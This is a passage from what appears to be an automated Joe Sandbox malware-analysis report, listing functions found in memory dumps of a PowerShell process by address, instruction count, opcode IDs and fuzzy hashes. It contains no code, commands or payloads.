                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b7f2f8037d22c7a4acc2259304ad5732113184204e1268bab373ce489ca59910
                              • Instruction ID: 4cfd7d61184e5377a6623fe03f72f5acdeff37e48ac196d79c4fca8cf8797793
                              • Opcode Fuzzy Hash: b7f2f8037d22c7a4acc2259304ad5732113184204e1268bab373ce489ca59910
                              • Instruction Fuzzy Hash: 4011BEB8601302EFD714CF25C940AA6B7F6FF88206B24857ED959C7251D731E94ACBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804AA60 Relevance: .1, Instructions: 63COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 6b3f3ca86cb6d6b02155fdc88eb21348019cab9d71312f44042dfb0b1d1620c4
                              • Instruction ID: 8e2f18e45231f3d55223403a4b33ced8489bcd929f48017063b1058f07b9f2c7
                              • Opcode Fuzzy Hash: 6b3f3ca86cb6d6b02155fdc88eb21348019cab9d71312f44042dfb0b1d1620c4
                              • Instruction Fuzzy Hash: 7F21AE307802158FDB149BA4D9197AE77F2AF89301F2040BEE402FB3A1CB768D45CB60
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804BFE0 Relevance: .1, Instructions: 63COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a86384434b342779c963987a0f488a503bcad07e09259f718c447ba5800bce93
                              • Instruction ID: c3d64601bea799dc323f8cb3e697fdac4f2efb4fe0b50ea079deeba3d8912ba8
                              • Opcode Fuzzy Hash: a86384434b342779c963987a0f488a503bcad07e09259f718c447ba5800bce93
                              • Instruction Fuzzy Hash: CA212C70A002099FCB10DFA9D8819AEF7F6FF88304B504A29E506AB755D771AD068BE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804CBF1 Relevance: .1, Instructions: 62COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: aa4f92062c15a5eac4e0f6b4787e10afdcddc260f546944d0673a5624cd29c80
                              • Instruction ID: d42f35b20de021ee2d8ac73263e7f282356c1452f6b37e47b98fa01c32717ed0
                              • Opcode Fuzzy Hash: aa4f92062c15a5eac4e0f6b4787e10afdcddc260f546944d0673a5624cd29c80
                              • Instruction Fuzzy Hash: 85115975E00209AFCB10DFA9D8419EEBBF6EF8C310B14842AE905E3301DB3159219FA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796E380 Relevance: .1, Instructions: 58COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a7c63c5ccd1b1e0fb2339936db8f812591101ccf6fd346d64e75df9d178d9422
                              • Instruction ID: 4f21ab9f5fb772b7a4816d54b48704e0da96542d56f3cc2761380cf766c4950f
                              • Opcode Fuzzy Hash: a7c63c5ccd1b1e0fb2339936db8f812591101ccf6fd346d64e75df9d178d9422
                              • Instruction Fuzzy Hash: 54112BB56006559FCB209A74D448BA977A9FFC1318F08C66ED0064F285EB39E806CBE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804AA70 Relevance: .1, Instructions: 58COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c7cb48a19ce833428a5686ae798da110e53bf5d18885d6a69e096636ef7065d9
                              • Instruction ID: b08ffb15d5a8a6cfbe64cc7cd3624f3ed7a8ae35316d629e90c4d5290ec11177
                              • Opcode Fuzzy Hash: c7cb48a19ce833428a5686ae798da110e53bf5d18885d6a69e096636ef7065d9
                              • Instruction Fuzzy Hash: 4511B1307802148FDB149B65D9187AE77F2AF88301F20407AD402FB3A1CF769C09CB60
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 079635B0 Relevance: .1, Instructions: 55COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: dedd2a45e89fedd107a5da20ccdd98199570fbb4bc57dff6be446eca25e8021b
                              • Instruction ID: 40a8442ada63b44097041e45c17188f7d7f6e203c6ced9a6f5ceeb7377c0bfa1
                              • Opcode Fuzzy Hash: dedd2a45e89fedd107a5da20ccdd98199570fbb4bc57dff6be446eca25e8021b
                              • Instruction Fuzzy Hash: 0C0104317046486FC700CB69D845EDBBBEAEFCA220F018A6AE449CB340D734AC05C7E0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796EBD0 Relevance: .1, Instructions: 55COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: e154a27a3e57e5c2901d3aa579a385732146d2cb0a6beebe0a9db7c63de37e6e
                              • Instruction ID: 11bfcd4e449b83417a580e7a51e31add403d2e7a78759a3dd1c7f67574287cd0
                              • Opcode Fuzzy Hash: e154a27a3e57e5c2901d3aa579a385732146d2cb0a6beebe0a9db7c63de37e6e
                              • Instruction Fuzzy Hash: 2611A0B5B001056BC304EBB9D8909EF73EAEBC4314B00893AD11A9BB91DF346D058BF2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796B680 Relevance: .1, Instructions: 54COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: be5fe73280ebe49d6d39adf1513a694aec970e5302f1f8777bffeae979b54f75
                              • Instruction ID: 63b2164ff6fffb6ccf863233b099d4c58309c624301dc404b52d38c07b3403db
                              • Opcode Fuzzy Hash: be5fe73280ebe49d6d39adf1513a694aec970e5302f1f8777bffeae979b54f75
                              • Instruction Fuzzy Hash: 900120F13045208FCB219B69E858DDA77E8EF4967871502E7E004CB762DA25DC41C7E3
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804CC00 Relevance: .1, Instructions: 54COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 44396229b3dc2e214af2bb962c463d97018c58414ce9966f2b44db5211f81af0
                              • Instruction ID: 28edeff4382ac20a10282e2d96e22769cf5be874f1b08005c6813c620a1cf6ec
                              • Opcode Fuzzy Hash: 44396229b3dc2e214af2bb962c463d97018c58414ce9966f2b44db5211f81af0
                              • Instruction Fuzzy Hash: 0B112875E00209AFCF04DFA9D8409EEBBF6EB8C210B14842AE905E3341DB3199118FA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804D048 Relevance: .1, Instructions: 54COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 9903f51e04101b90a42c12edc766c34fcb43eebe680e209361fd9372974f0e3e
                              • Instruction ID: 06f865ccad56089fe9649e011fab7888334b035bf97a49a763162b3ebeb9f66d
                              • Opcode Fuzzy Hash: 9903f51e04101b90a42c12edc766c34fcb43eebe680e209361fd9372974f0e3e
                              • Instruction Fuzzy Hash: FB115E70A00108CFCB149F65C8587AEBBB6EF8C311F14542DD916B7391CB725846CB64
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804D570 Relevance: .1, Instructions: 54COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 3829721d132e16cb63262710141189becbfe3400f60270d710b1f0c5058a80b1
                              • Instruction ID: 653fd3cd493be6a3634d6570a362786fb54c84c0b18e04109abcaccb02fe9c8c
                              • Opcode Fuzzy Hash: 3829721d132e16cb63262710141189becbfe3400f60270d710b1f0c5058a80b1
                              • Instruction Fuzzy Hash: A6118C756002059FC724CF68D884E9AFBF6FF88310B018A59E94A9B351D670FC04CBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07969152 Relevance: .0, Instructions: 50COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 42874b6eda5c18c73b99a9c686065b35130264cd299fce9a41300caee1d5dddc
                              • Instruction ID: b2ee4baa5074f8050f24bfc23882ff27f75933aa28604577a642f2931b8cc922
                              • Opcode Fuzzy Hash: 42874b6eda5c18c73b99a9c686065b35130264cd299fce9a41300caee1d5dddc
                              • Instruction Fuzzy Hash: E111ACB1A04245CFDB04CB61D95C7EEBBB2EF48325F1541AED042FB2A0CB319984CB50
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796B370 Relevance: .0, Instructions: 49COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 831c1bfabb858d41a612e0c5460fcdb2a27418b266718a829e37b33cb76ab4a3
                              • Instruction ID: 97ea067deac2e4c6688f79e3d81d5dd9427366926b37df56b21e2c46e7e5c1f2
                              • Opcode Fuzzy Hash: 831c1bfabb858d41a612e0c5460fcdb2a27418b266718a829e37b33cb76ab4a3
                              • Instruction Fuzzy Hash: C601D2B4B006058FCF249F65D848A7FBBBAFFC5251B54465BD915C3600DB30A811CBA3
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 00DDD01D Relevance: .0, Instructions: 45COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.870685856.0000000000DDD000.00000040.00000001.sdmp, Offset: 00DDD000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_ddd000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 6a9443294437b8ebe5de470a6be2bfd19c8105cc0e54f9b909f1a3d01d530691
                              • Instruction ID: 1a15b0854ee622c782d0cae4bfe08d6f8f222c3c32d12978fd04a7aaee29ffd9
                              • Opcode Fuzzy Hash: 6a9443294437b8ebe5de470a6be2bfd19c8105cc0e54f9b909f1a3d01d530691
                              • Instruction Fuzzy Hash: 1001F231404344AAEB204E61CCC4BB7BB8DEF85728F18899BEC441B382C379D849CAF1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 00DDD005 Relevance: .0, Instructions: 45COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.870685856.0000000000DDD000.00000040.00000001.sdmp, Offset: 00DDD000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_ddd000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: fb667b71b5b3ab2dd61a788c2020e12f2e9ca0fa73e0528f9dc64b0b3299db3f
                              • Instruction ID: d6f9da87bb3e35c501c62c1a0d6d79521ac2306aceb6141f6b2de8c7144b6c55
                              • Opcode Fuzzy Hash: fb667b71b5b3ab2dd61a788c2020e12f2e9ca0fa73e0528f9dc64b0b3299db3f
                              • Instruction Fuzzy Hash: FD01526140D3C05FD7128B258C94B62BFB8DF53624F1D85DBD8848F293C2695C48CBB2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804A008 Relevance: .0, Instructions: 45COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: d4a803c1f0715dba73dddb769e40668e09e3ebc8bd21623e89380166d3a34b61
                              • Instruction ID: bda11d20bcd01881eb3979a5b30674667133f569ae9e25c60af5dcb03231174f
                              • Opcode Fuzzy Hash: d4a803c1f0715dba73dddb769e40668e09e3ebc8bd21623e89380166d3a34b61
                              • Instruction Fuzzy Hash: 21017630B453546BE7109B98CC00BBFBBB6EB81701F24407AF604AB2C2CBB05D06CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 080496D0 Relevance: .0, Instructions: 45COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 1f5c41fae22f6cedafd96ec987c252965b6730f594e1390c74e937e0f302bb58
                              • Instruction ID: bb78be934ce6710cd9252d076aa328ba275cc98af1d6211133e3152a49a12ec2
                              • Opcode Fuzzy Hash: 1f5c41fae22f6cedafd96ec987c252965b6730f594e1390c74e937e0f302bb58
                              • Instruction Fuzzy Hash: 7701F770B452146BD7149B99DC05BBF7FB6ABC5701F24407AE6086B2C1CB705906C7A1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796E2E1 Relevance: .0, Instructions: 42COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0c571a9447233d5cef2fb323bdfa86d46420d80dce0b0e71056192f76c72f247
                              • Instruction ID: b4b5cb2bcd58c34811d6c24fa98bb3945e071c4e4860d9dd700e8ab652b1094a
                              • Opcode Fuzzy Hash: 0c571a9447233d5cef2fb323bdfa86d46420d80dce0b0e71056192f76c72f247
                              • Instruction Fuzzy Hash: 9111F774A102188FCB44DF64D998DDDB7B1BF88314F1049ADE402AB361CB7AAD09CFA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796ECF9 Relevance: .0, Instructions: 42COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0001fc270150b7684bf19cbc2a95598d1146aaf277c679591b80694f47b19260
                              • Instruction ID: 157fe8219e5aa4a313e0efe03a61ae97737c224fc1bf66f8eedbebf821673fc8
                              • Opcode Fuzzy Hash: 0001fc270150b7684bf19cbc2a95598d1146aaf277c679591b80694f47b19260
                              • Instruction Fuzzy Hash: A4F0D6753002049FC314DB59D884E5B77EDFF85624B05056AE109CB762CA31EC4187A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796ED08 Relevance: .0, Instructions: 41COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a8005646cc0b4a37ca6befbf0b17753deed0313b57bdda57fff0304b09d7be13
                              • Instruction ID: ad21cb1a7e4ecf565725fb4a62fc811c42090982299781b185ca28ee08636dda
                              • Opcode Fuzzy Hash: a8005646cc0b4a37ca6befbf0b17753deed0313b57bdda57fff0304b09d7be13
                              • Instruction Fuzzy Hash: 7AF0F4757002008F83249AAAC89495B77DEEFC9624B14047AE109CB761CA30EC0187A2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804CCF2 Relevance: .0, Instructions: 41COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 1a0e3108f5293b9d576478947b2d4217984d29cad94eb2077ff8f4d4cff9f0f3
                              • Instruction ID: 6e71951d02a65d19bdd3ed68923df31a8c64d07319cd6cdabbced179cee8b863
                              • Opcode Fuzzy Hash: 1a0e3108f5293b9d576478947b2d4217984d29cad94eb2077ff8f4d4cff9f0f3
                              • Instruction Fuzzy Hash: 74F0C832206355ABDB314A2AC800F677FF99F86611F05806AF558CB291C571D801C7B1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796E2F0 Relevance: .0, Instructions: 39COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 44d2140357f9661b9c0392c61f04090336683afdafb9986dcb5fe269987a91a3
                              • Instruction ID: 8de0ad92d0226c548c444aaa70f82e4f6e03d7d2d30dd6431bd5a065bb428506
                              • Opcode Fuzzy Hash: 44d2140357f9661b9c0392c61f04090336683afdafb9986dcb5fe269987a91a3
                              • Instruction Fuzzy Hash: 1001D374A102198FCB04DFA4D998DDDB7B5FF8C304F1009A9E802AB361CB79AD05CBA4
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804E357 Relevance: .0, Instructions: 39COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4aa22e9891adc94c70b1e9a3ccc0dcd60b54f5e604d25ca4acc53503bf8646f0
                              • Instruction ID: 675e5d986d79e3b69569a86d7319da7d9c8f0f341efc63c0bc29d4811bf59634
                              • Opcode Fuzzy Hash: 4aa22e9891adc94c70b1e9a3ccc0dcd60b54f5e604d25ca4acc53503bf8646f0
                              • Instruction Fuzzy Hash: 23011E787000199FCF09AFA4D8418EDB3A6FFC8211B014556DA116B390CB7A6D168BF5
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796B690 Relevance: .0, Instructions: 38COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: eea9ca153bf12a5391bed8d155da9a8dd01e31a1cd9d96a5bc337920cae92afb
                              • Instruction ID: 85ced9045c15be72f99292ab3884acaead10e38ae6bf49cf8be9fe659d5cc6ae
                              • Opcode Fuzzy Hash: eea9ca153bf12a5391bed8d155da9a8dd01e31a1cd9d96a5bc337920cae92afb
                              • Instruction Fuzzy Hash: C5F0F0B03005108FC720ABB9D468E5A32E9AB49668B1102BAE109CB771EA21DC008BE3
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804EBE2 Relevance: .0, Instructions: 38COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: e8f09d7ea6dfad749a362996deba2c41731a1705e216fee34c65c727e030338c
                              • Instruction ID: a6968ab47d3ec8e6eddda707289a199d80729c109ca43056765fcc32a2eb3b93
                              • Opcode Fuzzy Hash: e8f09d7ea6dfad749a362996deba2c41731a1705e216fee34c65c727e030338c
                              • Instruction Fuzzy Hash: 8901D6712052809FC305D778D8A4859BFA5DED511430588FFD109CB762CB305C0AC7B2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804A8B8 Relevance: .0, Instructions: 34COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 085dc619327ee4f35ee8ff8f9c7959cb38b8426f9903cb38cd9c22e7109e14de
                              • Instruction ID: 53702b15e6e2baa351c7b13c59bc0910c5b58e75769550c55de6c10b20463ecd
                              • Opcode Fuzzy Hash: 085dc619327ee4f35ee8ff8f9c7959cb38b8426f9903cb38cd9c22e7109e14de
                              • Instruction Fuzzy Hash: 48F027723056556FC7058B65A45487BBFE99FCA211719816FFD89C3241FB3CE8039BA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 08048548 Relevance: .0, Instructions: 33COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: bc6dd5b7ce097273e4ef884af25c0d437c797619337eae8b6f531a7af95feed8
                              • Instruction ID: 3c860af54af920165dd9460e956608ab763f6171012e7ff49f22beb3a734bb43
                              • Opcode Fuzzy Hash: bc6dd5b7ce097273e4ef884af25c0d437c797619337eae8b6f531a7af95feed8
                              • Instruction Fuzzy Hash: 26F0BD316007099B8724DF6BD884C8BBBE9EFC42143408D3EE45A87625EB70E9498BE4
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804EBF8 Relevance: .0, Instructions: 33COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 3653b5801c5e47201a3b85c55915ff103e5e962b1ebc72acf74277d1677e1a9a
                              • Instruction ID: 358cf9baaad9eda858d3dbd92960be21fc374181f8b4fb989f7e830de37e48d4
                              • Opcode Fuzzy Hash: 3653b5801c5e47201a3b85c55915ff103e5e962b1ebc72acf74277d1677e1a9a
                              • Instruction Fuzzy Hash: 77F05E71300114AB8214EB6AD894C5AF79EEFD8224340897EE60A8B361CF71AD0686F5
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804A8C8 Relevance: .0, Instructions: 28COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 19b09463a6bfede7278429ad63c379df0192acddc0839c64fdae49c8fdb05bc8
                              • Instruction ID: ba2f666689fbfe6d04454ac34ab8515b4dd81847b8db216d7fc34ac0d8b479fb
                              • Opcode Fuzzy Hash: 19b09463a6bfede7278429ad63c379df0192acddc0839c64fdae49c8fdb05bc8
                              • Instruction Fuzzy Hash: 3BE092323015186B87088A2AE44497BBBEA9BC9651705C22AF90AC3340EB3CE90397E4
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804DD10 Relevance: .0, Instructions: 23COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: c150ad3b87174c0fe1ff7a43628d3056c5e32e318629feeec3486a3e0fd6a20a
                              • Instruction ID: 95b4aae78322bd0d8425af99057b6dad8192ee472f6555e36382488f1aab55ad
                              • Opcode Fuzzy Hash: c150ad3b87174c0fe1ff7a43628d3056c5e32e318629feeec3486a3e0fd6a20a
                              • Instruction Fuzzy Hash: 79E0DF723083805F8215EA6D988088FEBD6DEE9210304C85EE15AC7302CA11A908C37A
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804F299 Relevance: .0, Instructions: 23COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 685db4b6514d9b0cf94135458a731b19975283f2a9ff1b8b753ad19849599b0b
                              • Instruction ID: aafe022c5b2a968106e28b0bbc42ce37c75636a4b06a0fe39b2c71f1342f15e9
                              • Opcode Fuzzy Hash: 685db4b6514d9b0cf94135458a731b19975283f2a9ff1b8b753ad19849599b0b
                              • Instruction Fuzzy Hash: 44E092712043505FC350DB3CA8966DABFE5EF69220B04CC5FD58A87742CB34984987BA
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804BFA0 Relevance: .0, Instructions: 23COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: f1aebd659484fa3a276dc23277a2f3b565a4d3b298735ac288116921c649137e
                              • Instruction ID: e226b17bcd49aa06d0c1eea21f9a8a35a1518cacb17ee12968e08f8997d308ca
                              • Opcode Fuzzy Hash: f1aebd659484fa3a276dc23277a2f3b565a4d3b298735ac288116921c649137e
                              • Instruction Fuzzy Hash: 93E0ECB6A0421AAF96108A45EC44C57FBADFB896743158296F90897302C731EC81CBF0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 08049B20 Relevance: .0, Instructions: 22COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
